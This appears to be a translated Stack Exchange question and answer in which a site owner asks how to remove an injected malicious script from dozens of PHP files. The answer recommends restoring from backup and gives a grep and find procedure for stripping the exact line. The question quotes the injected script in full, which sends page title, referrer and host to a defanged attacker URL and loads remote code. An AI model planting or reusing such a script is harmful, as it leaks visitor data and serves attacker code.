我的网站被黑客攻击/感染。我替换了恶意链接的 URL,但恶意脚本中的其他元素仍然导致我的网站被阻止。在不插入一百个左右“转义符”的情况下,如何从我网站上的 3 打文件中删除以下脚本?
< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>
stack-exchange 上的其他页面没有回答这个问题。
为了用 xxxx_hack_was_here 等替换恶意网址,我使用了:
find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +
答案1
首先我同意楼上的评论:不要使用sed
从被黑客攻击中恢复。 你总会想知道你是否错过了什么。从备份中恢复,期间。
然而,您提出的字面问题,即如何在不转义每个特殊字符的情况下删除出现的所有长字符串,在某种程度上更容易处理。
我从你的问题中做出一些推论/假设,但你实际上并没有直接说明:
- 要删除的字符串是单行。
- 每次发生都是一样的。
- 它需要是已删除,没有用其他东西代替。
如果上述假设正确,请执行以下操作:
- 将要删除的字符串(包括任何尾随空格)单独放入一个文件中,称为例如
hackline.txt
.把这一层多于您要处理的目录。 复制整个目录以防出现错误。
cp -a mydir mydircopy
在您的目录(或副本)上运行以下循环以删除 hackline 的所有实例:
cd mydir for f in *; do [ -f "$f" ] && [ -r "$f" ] || continue grep -vxFf ../hackline.txt "$f" > "$f.fixed" && mv -- "$f.fixed" "$f" done
这里的概念是,您将其用作hackline.txt
必须匹配整行的固定字符串列表,然后grep
仅用于获取符合以下条件的行:不匹配该字符串列表。
-x
表示“整行”;-F
表示“固定字符串,不是正则表达式”;-v
反转搜索;-f
接受文件中的模式列表。
如果您的网站目录是分层的而不是扁平的(这实际上很有可能),您可以使用find
而不是 for 循环:
find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;
然后使用递归diff
来检查一切是否都应如此:
diff -r mydircopy mydir